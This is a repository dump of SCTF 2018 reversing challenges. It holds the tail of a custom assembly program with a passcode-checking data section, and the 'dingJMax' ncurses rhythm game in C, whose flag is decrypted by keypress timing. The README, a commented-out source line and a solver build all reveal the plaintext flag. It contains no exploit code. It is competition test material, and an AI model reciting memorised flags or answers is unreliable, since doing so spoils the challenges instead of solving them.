// k <- 0 75 | SHL R6 C1 M330 // R6 = m <- 1 << j 76 | SHL R5 M322 C2 // R5 = addr <- i << 2 77 | SHL R7 M322 C1 // R7 = z <- i << 1 78 | ADD R5 R5 R7 // addr <- i * 4 + i * 2 79 | ADD R5 R5 M322 // addr <- i * 6 + i 80 | ADD R5 R5 M338 // addr <- i * 7 + k 81 | ADD R5 R2 R5 // addr <- buf + i * 7 + k 82 | AND R5 R5I R6 // t <- [buf + i * 7 + k] & m 83 | SHR R5 R5 M330 // t <- t >> j 84 | OR R4 R4 R5 // r <- r | t 85 | AND R6 R4 C63 // R6 = u <- r & 0x3f 86 | SHL R6 R6 C1 // u <- u << 1 87 | AND R7 R4 C64 // R7 = v <- r & 0x40 88 | SHR R7 R7 C6 // v <- v >> 6 89 | OR R4 R6 R7 // r <- u | v 90 | ADD M338 M338 C1 // k <- k + 1 91 | SUB M334 M334 C1 // k_len <- k_len - 1 92 | SUBEQ M334 C0 C92 // if k_len == 0 then goto 92 93 | JUMP C73 94 | SHL R5 M322 C2 // addr <- i << 2 95 | SHL R6 M322 C1 // z <- i << 1 96 | ADD R5 R5 R6 // addr <- i * 4 + i * 2 97 | ADD R5 R5 M322 // addr <- i * 6 + i 98 | ADD R5 R5 M330 // addr <- i * 7 + j 99 | ADD R5 R3 R5 // addr <- dst + i * 7 + j 100 | MOVE R5I R4 // [buf + i * 7 + j] <- r 101 | ADD M330 M330 C1 // j <- j + 1 102 | SUB M326 M326 C1 // j_len <- j_len - 1 103 | SUBEQ M326 C0 C103 // if j_len == 0 then goto 103 104 | JUMP C70 105 | ADD M322 M322 C1 // i <- i + 1 106 | SUB M318 M318 C1 // i_len <- i_len - 1 107 | SUBEQ M318 C0 C107 // if i_len == 0 then goto 107 108 | JUMP C68 109 | MOVE R2 C346 110 | OUTP R2I 111 | ADD R2 R2 C1 112 | SUB M342 M342 C1 113 | SUBEQ M342 C0 C113 114 | JUMP C108 115 | MOVE R2 C3072 116 | OUTP R2I 117 | ADD R2 R2 C1 118 | SUB M359 M359 C1 119 | SUBEQ M359 C0 C119 120 | JUMP C114 121 | HALT 122 | 123 | .DATA 124 | 2d // 00 125 | 00 126 | 00 127 | 00 128 | 57 // 04 129 | 65 130 | 6c 131 | 63 132 | 6f 133 | 6d 134 | 65 135 | 20 136 | 74 137 | 6f 138 | 20 139 | 74 140 | 68 141 | 65 142 | 20 143 | 77 144 | 6f 145 | 72 146 | 6c 147 | 64 148 | 20 149 | 6f 150 | 66 151 | 20 152 | 52 153 | 65 154 | 76 155 | 65 156 | 72 157 | 73 158 | 65 159 | 20 160 | 45 161 | 6e 162 | 67 163 | 69 164 | 6e 165 | 65 166 | 65 167 | 72 168 | 69 169 | 6e 170 | 67 171 | 21 172 | 0a 173 | 3b // 49 174 | 00 175 | 00 176 | 00 177 | 42 // 53 178 | 65 179 | 66 180 | 6f 181 | 72 182 | 65 183 | 20 184 | 79 185 | 6f 186 | 75 187 | 20 188 | 65 189 | 6e 190 | 74 191 | 65 192 | 72 193 | 20 194 | 74 195 | 68 196 | 69 197 | 73 198 | 20 199 | 77 200 | 6f 201 | 72 202 | 6c 203 | 64 204 | 2c 205 | 20 206 | 79 207 | 6f 208 | 75 209 | 20 210 | 6e 211 | 65 212 | 65 213 | 64 214 | 20 215 | 74 216 | 6f 217 | 20 218 | 68 219 | 61 220 | 76 221 | 65 222 | 20 223 | 74 224 | 68 225 | 65 226 | 20 227 | 70 228 | 61 229 | 73 230 | 73 231 | 63 232 | 6f 233 | 64 234 | 65 235 | 0a 236 | 16 // 112 237 | 00 238 | 00 239 | 00 240 | 57 // 116 241 | 68 242 | 61 243 | 74 244 | 20 245 | 69 246 | 73 247 | 20 248 | 74 249 | 68 250 | 65 251 | 20 252 | 70 253 | 61 254 | 73 255 | 73 256 | 63 257 | 6f 258 | 64 259 | 65 260 | 3f 261 | 0a 262 | 00 // 138 263 | 00 264 | 00 265 | 00 266 | 00 // 142 267 | 00 268 | 00 269 | 00 270 | 11 // 146 271 | 00 272 | 00 273 | 00 274 | 59 // 150 275 | 6f 276 | 75 277 | 20 278 | 61 279 | 72 280 | 65 281 | 20 282 | 63 283 | 6f 284 | 72 285 | 72 286 | 65 287 | 63 288 | 74 289 | 21 290 | 0a 291 | 1e // 167 292 | 00 293 | 00 294 | 00 295 | 59 // 171 296 | 6f 297 | 75 298 | 20 299 | 67 300 | 61 301 | 76 302 | 65 303 | 20 304 | 6d 305 | 65 306 | 20 307 | 61 308 | 20 309 | 77 310 | 72 311 | 6f 312 | 6e 313 | 67 314 | 20 315 | 70 316 | 61 317 | 73 318 | 73 319 | 63 320 | 6f 321 | 64 322 | 65 323 | 21 324 | 0a 325 | 28 // 201 326 | 00 327 | 00 328 | 00 329 | 48 // 205 330 | 65 331 | 6c 332 | 6c 333 | 6f 334 | 2c 335 | 20 336 | 74 337 | 68 338 | 69 339 | 73 340 | 20 341 | 69 342 | 73 343 | 20 344 | 74 345 | 68 346 | 65 347 | 20 348 | 73 349 | 65 350 | 63 351 | 72 352 | 65 353 | 74 354 | 20 355 | 65 356 | 6e 357 | 63 358 | 6f 359 | 64 360 | 69 361 | 6e 362 | 67 363 | 20 364 | 72 365 | 6f 366 | 6f 367 | 6d 368 | 0a 369 | 31 // 245 370 | 00 371 | 00 372 | 00 373 | 47 // 249 374 | 69 375 | 76 376 | 65 377 | 20 378 | 6d 379 | 65 380 | 20 381 | 61 382 | 20 383 | 73 384 | 74 385 | 72 386 | 69 387 | 6e 388 | 67 389 | 2c 390 | 20 391 | 74 392 | 68 393 | 65 394 | 6e 395 | 20 396 | 49 397 | 27 398 | 6c 399 | 6c 400 | 20 401 | 73 402 | 68 403 | 6f 404 | 77 405 | 20 406 | 79 407 | 6f 408 | 75 409 | 20 410 | 74 411 | 68 412 | 65 413 | 20 414 | 72 415 | 65 416 | 73 417 | 75 418 | 6c 419 | 74 420 | 2e 421 | 0a 422 | 0c // 298 423 | 00 424 | 00 425 | 00 426 | 59 // 302 427 | 6f 428 | 75 429 | 72 430 | 20 431 | 69 432 | 6e 433 | 70 434 | 75 435 | 74 436 | 3a 437 | 0a 438 | 00 // 314 439 | 07 440 | 00 441 | 00 442 | 00 // i_len 318 443 | 00 444 | 00 445 | 00 446 | 00 // i 322 447 | 00 448 | 00 449 | 00 450 | 00 // j_len 326 451 | 00 452 | 00 453 | 00 454 | 00 // j 330 455 | 00 456 | 00 457 | 00 458 | 00 // k_len 334 459 | 00 460 | 00 461 | 00 462 | 00 // k 338 463 | 00 464 | 00 465 | 00 466 | 0d // 342 467 | 00 468 | 00 469 | 00 470 | 59 // 346 471 | 6f 472 | 75 473 | 72 474 | 20 475 | 6f 476 | 75 477 | 74 478 | 70 479 | 75 480 | 74 481 | 3a 482 | 0a 483 | 00 // 359 484 | 07 485 | 00 486 | 00 487 | -------------------------------------------------------------------------------- /reversing/dingJMax/README.md: -------------------------------------------------------------------------------- 1 | # dingJMax 2 | 3 | ## Description 4 | 5 | ``` 6 | I prepared the Rhythm game "dingJMax" for you. 7 | This is really hard... Can you get prefect score for flag? 8 | 9 | (binary download link) 10 | ``` 11 | 12 | # How to run 13 | No service to run 14 | 15 | ## How to solve 16 | 1. Extract all note information 17 | 2. Analysis decrypt routine 18 | 3. Decode it! 19 | 20 | ## FLAG 21 | ``` 22 | SCTF{I_w0u1d_l1k3_70_d3v3l0p_GUI_v3rs10n_n3x7_t1m3} 23 | ``` 24 | -------------------------------------------------------------------------------- /reversing/dingJMax/deploy/dingJMax: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/reversing/dingJMax/deploy/dingJMax -------------------------------------------------------------------------------- /reversing/dingJMax/prob/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | LDFLAGS=-lncursesw 3 | HEADERS=yay.h yo.h stage.h 4 | SOURCES=yo.c yay.c 5 | EXECUTABLES=dingJMax 6 | 7 | all: $(EXECUTABLES) 8 | 9 | $(EXECUTABLES): $(SOURCES) $(HEADERS) 10 | $(CC) -o $(EXECUTABLES) $(SOURCES) $(LDFLAGS) -DRELEASE 11 | $(CC) -o $(EXECUTABLES)_solver $(SOURCES) $(LDFLAGS) -DSOLUTION 12 | strip $(EXECUTABLES) 13 | 14 | clean: 15 | rm -f $(EXECUTABLES) 16 | rm -f $(EXECUTABLES)_solver 17 | -------------------------------------------------------------------------------- /reversing/dingJMax/prob/note_gen.py: -------------------------------------------------------------------------------- 1 | from random import choice 2 | import sys 3 | 4 | def chg_format(n): 5 | if n == 0: 6 | return ' ' 7 | elif n == 1: 8 | return 'o ' 9 | elif n == 2: 10 | return ' o ' 11 | elif n == 3: 12 | return ' o ' 13 | elif n == 4: 14 | return ' o' 15 | 16 | print 'note error' 17 | exit(1) 18 | 19 | cands = [0] * 28 + [1, 2, 3, 4] 20 | 21 | def main(): 22 | if len(sys.argv) != 2: 23 | print 'few arguments' 24 | exit(1) 25 | notes = [chg_format(choice(cands)) for i in xrange(int(sys.argv[1]))] 26 | 27 | for i, v in enumerate(notes): 28 | print '"{}",'.format(v), 29 | if i % 8 == 7: 30 | print 31 | return 32 | 33 | if __name__ == '__main__': 34 | main() 35 | -------------------------------------------------------------------------------- /reversing/dingJMax/prob/yay.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "yay.h" 4 | 5 | void yay_init() { 6 | int i; 7 | idx_i = 0; 8 | idx_j = 0; 9 | 10 | str_dict = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_!"; 11 | dict_len = strlen(str_dict); 12 | for (i = 0; i < dict_len; i++) { 13 | S[i] = i; 14 | } 15 | } 16 | 17 | unsigned int get_idx(unsigned char c) { 18 | int i; 19 | for (i = 0; i < dict_len; i++) { 20 | if (c == str_dict[i]) return i; 21 | } 22 | 23 | return -1; 24 | } 25 | 26 | unsigned char next_chr(int n) { 27 | int loop_cnt = 0; 28 | unsigned char tmp, res; 29 | 30 | while (n > loop_cnt) { 31 | idx_i = (idx_i + 1) % dict_len; 32 | idx_j = (idx_j + S[idx_i]) % dict_len; 33 | tmp = S[idx_i]; 34 | S[idx_i] = S[idx_j]; 35 | S[idx_j] = tmp; 36 | 37 | res = S[(S[idx_i] + S[idx_j]) % dict_len]; 38 | 39 | loop_cnt++; 40 | } 41 | 42 | return str_dict[res]; 43 | } 44 | 45 | unsigned char xor_chr(unsigned char a, unsigned char b) { 46 | unsigned int A = get_idx(a); 47 | unsigned int B = get_idx(b); 48 | 49 | return str_dict[(A ^ B) % dict_len]; 50 | } 51 | -------------------------------------------------------------------------------- /reversing/dingJMax/prob/yay.h: -------------------------------------------------------------------------------- 1 | char *str_dict; 2 | int dict_len; 3 | unsigned char idx_i; 4 | unsigned char idx_j; 5 | unsigned char S[64]; 6 | 7 | void yay_init(); 8 | unsigned int get_idx(unsigned char c); 9 | unsigned char next_chr(int n); 10 | unsigned char xor_chr(unsigned char a, unsigned char b); 11 | -------------------------------------------------------------------------------- /reversing/dingJMax/prob/yo.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "yo.h" 10 | #include "yay.h" 11 | 12 | #include "stage.h" 13 | 14 | void set_text(WINDOW *screen, char *text) { 15 | int x, y, i; 16 | getmaxyx(screen, y, x); 17 | mvwprintw(screen, y/2, (x - strlen(text))/2, text); 18 | } 19 | 20 | void decrypt_flag(char *flag_buf) { 21 | int flag_len = strlen(flag_buf); 22 | int i; 23 | for (i = 0; i < flag_len; i++) { 24 | flag_buf[i] = xor_chr(flag_buf[i], next_chr(1)); 25 | } 26 | } 27 | 28 | void set_flag(WINDOW *screen, char *flag) { 29 | int x, y, i; 30 | getmaxyx(screen, y, x); 31 | mvwprintw(screen, y/2, (x - strlen(flag))/2-2, "SCTF{%s}", flag); 32 | } 33 | 34 | void set_score(WINDOW *screen, unsigned int score) { 35 | int x, y, i; 36 | getmaxyx(screen, y, x); 37 | mvwprintw(screen, y/2, 2, "%u", score); 38 | } 39 | 40 | void set_log(WINDOW *screen, char *log, int frame_num) { 41 | werase(screen); 42 | log_msg = log; 43 | log_frame = frame_num; 44 | } 45 | 46 | void show_log(WINDOW *screen) { 47 | if (log_frame > 0) 48 | set_text(screen, log_msg); 49 | else if (log_frame < 0) 50 | set_text(screen, ""); 51 | else 52 | werase(screen); 53 | 54 | log_frame--; 55 | } 56 | 57 | void set_count(char **stage) { 58 | int i = 0; 59 | all_count = 0; 60 | while (stage[i]) { 61 | if (strchr(stage[i], 'o')) all_count++; 62 | i++; 63 | } 64 | } 65 | 66 | void set_title(WINDOW *screen, char *title) { 67 | mvwprintw(screen, 0, 2, title); 68 | } 69 | 70 | void draw_lanes(WINDOW *screen) { 71 | int i; 72 | for (i = 0; i < sizeof(field_lane)/sizeof(char *); i++) { 73 | mvwprintw(screen, i+1, 2, field_lane[i]); 74 | } 75 | 76 | return; 77 | } 78 | 79 | void instruction() { 80 | int i; 81 | 82 | for (i = 0; i < sizeof(inst)/sizeof(char *); i++) { 83 | mvprintw(i+2, 5, inst[i]); 84 | } 85 | 86 | mvprintw(13, 0, "Press any key to conitnue..."); 87 | return; 88 | } 89 | 90 | void print_logo() { 91 | int i; 92 | for (i = 0; i < sizeof(logo)/sizeof(char *); i++) { 93 | mvprintw(i, 5, logo[i]); 94 | } 95 | 96 | mvprintw(13, 0, "Press any key to conitnue..."); 97 | return; 98 | } 99 | 100 | int main() { 101 | bool D_PRESSED, F_PRESSED, J_PRESSED, K_PRESSED; 102 | unsigned long long loop_cnt = 0; 103 | int i, j; 104 | 105 | char *flag_buf = (char *)malloc(strlen(encrypted_flag) + 1); 106 | strcpy(flag_buf, encrypted_flag); 107 | 108 | unsigned long stage_len = sizeof(stage)/sizeof(char *); 109 | 110 | yay_init(); 111 | 112 | setlocale(LC_ALL,""); 113 | initscr(); 114 | keypad(stdscr, true); 115 | noecho(); 116 | curs_set(false); 117 | 118 | print_logo(); 119 | getch(); 120 | erase(); 121 | 122 | instruction(); 123 | getch(); 124 | werase(stdscr); 125 | wrefresh(stdscr); 126 | 127 | WINDOW *field = newwin(30, 29, 0, 0); 128 | WINDOW *score = newwin(5, 25, 0, 35); 129 | WINDOW *flag = newwin(5, 60, 7, 35); 130 | WINDOW *dialog = newwin(5, 40, 10, 10); 131 | WINDOW *log = newwin(5, 20, 15, 35); 132 | 133 | box(field, 0, 0); 134 | box(score, 0, 0); 135 | box(flag, 0, 0); 136 | box(dialog, 0, 0); 137 | box(log, 0, 0); 138 | 139 | draw_lanes(field); 140 | set_title(field, " dingJMax "); 141 | set_title(score, " SCORE (max 1000000) "); 142 | set_title(flag, " here is your FLAG (Did you get perfect score?) "); 143 | set_title(log, " Log "); 144 | 145 | set_text(dialog, "stage start"); 146 | 147 | wrefresh(field); 148 | wrefresh(score); 149 | wrefresh(flag); 150 | wrefresh(dialog); 151 | wrefresh(log); 152 | 153 | getch(); 154 | 155 | erase(); 156 | 157 | set_count(stage); 158 | p_count = 0; 159 | g_count = 0; 160 | m_count = 0; 161 | nodelay(stdscr, true); 162 | set_log(log, "start", 500); 163 | 164 | for (i = 0; i < LANE_Y_LEN; i++) { 165 | for (j = 0; j < 4; j++) { 166 | lane_buf[i][j] = ' '; 167 | } 168 | } 169 | 170 | while(loop_cnt/DIVISOR < sizeof(stage)/sizeof(char *) - LANE_Y_LEN) { 171 | switch (getch()) { 172 | case 'd': 173 | D_PRESSED = true; 174 | #if RELEASE 175 | next_chr(loop_cnt*'d'); 176 | decrypt_flag(flag_buf); 177 | #endif 178 | break; 179 | case 'f': 180 | F_PRESSED = true; 181 | #if RELEASE 182 | next_chr(loop_cnt*'f'); 183 | decrypt_flag(flag_buf); 184 | #endif 185 | break; 186 | case 'j': 187 | J_PRESSED = true; 188 | #if RELEASE 189 | next_chr(loop_cnt*'j'); 190 | decrypt_flag(flag_buf); 191 | #endif 192 | break; 193 | case 'k': 194 | K_PRESSED = true; 195 | #if RELEASE 196 | next_chr(loop_cnt*'k'); 197 | decrypt_flag(flag_buf); 198 | #endif 199 | break; 200 | default: 201 | D_PRESSED = false; 202 | F_PRESSED = false; 203 | J_PRESSED = false; 204 | K_PRESSED = false; 205 | break; 206 | } 207 | 208 | box(field, 0, 0); 209 | box(score, 0, 0); 210 | box(flag, 0, 0); 211 | box(log, 0, 0); 212 | 213 | draw_lanes(field); 214 | set_title(field, " dingJMax "); 215 | set_title(score, " SCORE (max 1000000) "); 216 | set_title(flag, " Here is your FLAG (Did you get perfect score?) "); 217 | set_title(log, " Log "); 218 | 219 | if (loop_cnt % DIVISOR == 0) { 220 | for (i = LANE_Y_LEN-1; i > 0; i--) { 221 | memcpy(lane_buf[i], lane_buf[i-1], 4); 222 | } 223 | 224 | memcpy(lane_buf[0], stage[loop_cnt/DIVISOR], 4); 225 | #if SOLUTION 226 | if (lane_buf[LANE_Y_LEN-1][0] == 'o') { 227 | next_chr(loop_cnt*'d'); 228 | decrypt_flag(flag_buf); 229 | } else if (lane_buf[LANE_Y_LEN-1][1] == 'o') { 230 | next_chr(loop_cnt*'f'); 231 | decrypt_flag(flag_buf); 232 | } else if (lane_buf[LANE_Y_LEN-1][2] == 'o') { 233 | next_chr(loop_cnt*'j'); 234 | decrypt_flag(flag_buf); 235 | } else if (lane_buf[LANE_Y_LEN-1][3] == 'o') { 236 | next_chr(loop_cnt*'k'); 237 | decrypt_flag(flag_buf); 238 | } else { 239 | // nothing 240 | } 241 | #endif 242 | } 243 | 244 | for (i = LANE_Y_MIN; i <= LANE_Y_MAX; i++) { 245 | mvwprintw(field, i, D_OFFSET, "%c", lane_buf[i-LANE_Y_MIN][0]); 246 | mvwprintw(field, i, F_OFFSET, "%c", lane_buf[i-LANE_Y_MIN][1]); 247 | mvwprintw(field, i, J_OFFSET, "%c", lane_buf[i-LANE_Y_MIN][2]); 248 | mvwprintw(field, i, K_OFFSET, "%c", lane_buf[i-LANE_Y_MIN][3]); 249 | } 250 | 251 | if (D_PRESSED) { 252 | if (lane_buf[LANE_Y_LEN-1][0] == 'o') { 253 | if (loop_cnt % DIVISOR == 0) { 254 | set_log(log, "PERFECT!", 200); 255 | p_count++; 256 | } else { 257 | set_log(log, "GREAT!", 200); 258 | g_count++; 259 | } 260 | } else { 261 | set_log(log, "MISS!", 200); 262 | m_count++; 263 | } 264 | } else if (F_PRESSED) { 265 | if (lane_buf[LANE_Y_LEN-1][1] == 'o') { 266 | if (loop_cnt % DIVISOR == 0) { 267 | set_log(log, "PERFECT!", 200); 268 | p_count++; 269 | } else { 270 | set_log(log, "GREAT!", 200); 271 | g_count++; 272 | } 273 | } else { 274 | set_log(log, "MISS!", 200); 275 | m_count++; 276 | } 277 | } else if (J_PRESSED) { 278 | if (lane_buf[LANE_Y_LEN-1][2] == 'o') { 279 | if (loop_cnt % DIVISOR == 0) { 280 | set_log(log, "PERFECT!", 200); 281 | p_count++; 282 | } else { 283 | set_log(log, "GREAT!", 200); 284 | g_count++; 285 | } 286 | } else { 287 | set_log(log, "MISS!", 200); 288 | m_count++; 289 | } 290 | } else if (K_PRESSED) { 291 | if (lane_buf[LANE_Y_LEN-1][3] == 'o') { 292 | if (loop_cnt % DIVISOR == 0) { 293 | set_log(log, "PERFECT!", 200); 294 | p_count++; 295 | } else { 296 | set_log(log, "GREAT!", 200); 297 | g_count++; 298 | } 299 | } else { 300 | set_log(log, "MISS!", 200); 301 | m_count++; 302 | } 303 | } 304 | 305 | mvprintw(30, 33, "PERFECT : %d", p_count); 306 | mvprintw(31, 33, "GREAT : %d", g_count); 307 | mvprintw(32, 33, "MISS : %d", m_count); 308 | mvprintw(33, 33, "TOTAL NOTES: %d", all_count); 309 | 310 | show_log(log); 311 | set_score(score, (MAX_SCORE * p_count + MAX_SCORE * g_count / 2) / all_count); 312 | set_flag(flag, flag_buf); 313 | 314 | wrefresh(field); 315 | wrefresh(score); 316 | wrefresh(flag); 317 | wrefresh(log); 318 | 319 | usleep(1000); 320 | loop_cnt++; 321 | } 322 | 323 | nodelay(stdscr, false); 324 | usleep(2000); 325 | getch(); 326 | 327 | 328 | curs_set(true); 329 | endwin(); 330 | return 0; 331 | } 332 | -------------------------------------------------------------------------------- /reversing/dingJMax/prob/yo.h: -------------------------------------------------------------------------------- 1 | #define LANE_Y_MIN 2 2 | #define LANE_Y_MAX 21 3 | #define LANE_Y_LEN 20 4 | 5 | #define D_OFFSET 5 6 | #define F_OFFSET 11 7 | #define J_OFFSET 17 8 | #define K_OFFSET 23 9 | 10 | #define NOTE "o" 11 | #define NOT_NOTE " " 12 | 13 | #define DIVISOR 20 14 | 15 | #define MAX_SCORE 1000000 16 | 17 | //char encrypted_flag[] = "I_w0u1d_l1k3_70_d3v3l0p_GUI_v3rs10n_n3x7_t1m3"; 18 | char encrypted_flag[] = "qN7BuRx4rElDv84dgNaaNBanZf0HSHFjqOvbkFfgTRg3r"; 19 | 20 | char *field_lane[] = { 21 | "┌─────┬─────┬─────┬─────┐", 22 | "│ │ │ │ │", 23 | "│ │ │ │ │", 24 | "│ │ │ │ │", 25 | "│ │ │ │ │", 26 | "│ │ │ │ │", 27 | "│ │ │ │ │", 28 | "│ │ │ │ │", 29 | "│ │ │ │ │", 30 | "│ │ │ │ │", 31 | "│ │ │ │ │", 32 | "│ │ │ │ │", 33 | "│ │ │ │ │", 34 | "│ │ │ │ │", 35 | "│ │ │ │ │", 36 | "│ │ │ │ │", 37 | "│ │ │ │ │", 38 | "│ │ │ │ │", 39 | "│ │ │ │ │", 40 | "│ │ │ │ │", 41 | "│ │ │ │ │", 42 | "┝━━━━━┿━━━━━┿━━━━━┿━━━━━┥", 43 | "│ │ │ │ │", 44 | "│ d │ f │ j │ k │", 45 | "│ │ │ │ │", 46 | "└─────┴─────┴─────┴─────┘", 47 | }; 48 | 49 | char *logo[] = { 50 | " _ _ _ __ __ ", 51 | " | (_) | | \\/ | ", 52 | " __| |_ _ __ __ _ | | \\ / | __ ___ __", 53 | " / _` | | '_ \\ / _` |_ | | |\\/| |/ _` \\ \\/ /", 54 | " | (_| | | | | | (_| | |__| | | | | (_| |> < ", 55 | " \\__,_|_|_| |_|\\__, |\\____/|_| |_|\\__,_/_/\\_\\", 56 | " __/ | ", 57 | " |___/ ", 58 | }; 59 | 60 | char *inst[] = { 61 | " 1. Press D, F, J, K Button when 'o' is closed to baseline(thick one)", 62 | " 2. You can get score depending on your correctness", 63 | " 3. If you got MAX SCORE(1000000), you would see correct flag on flag dialog", 64 | " 4. This is a really hard game, so you need some practice :)", 65 | " 5. Bad luck :P", 66 | }; 67 | 68 | int p_count; 69 | int g_count; 70 | int m_count; 71 | int all_count; 72 | 73 | char lane_buf[20][4]; 74 | 75 | char *log_msg; 76 | int log_frame; 77 | --------------------------------------------------------------------------------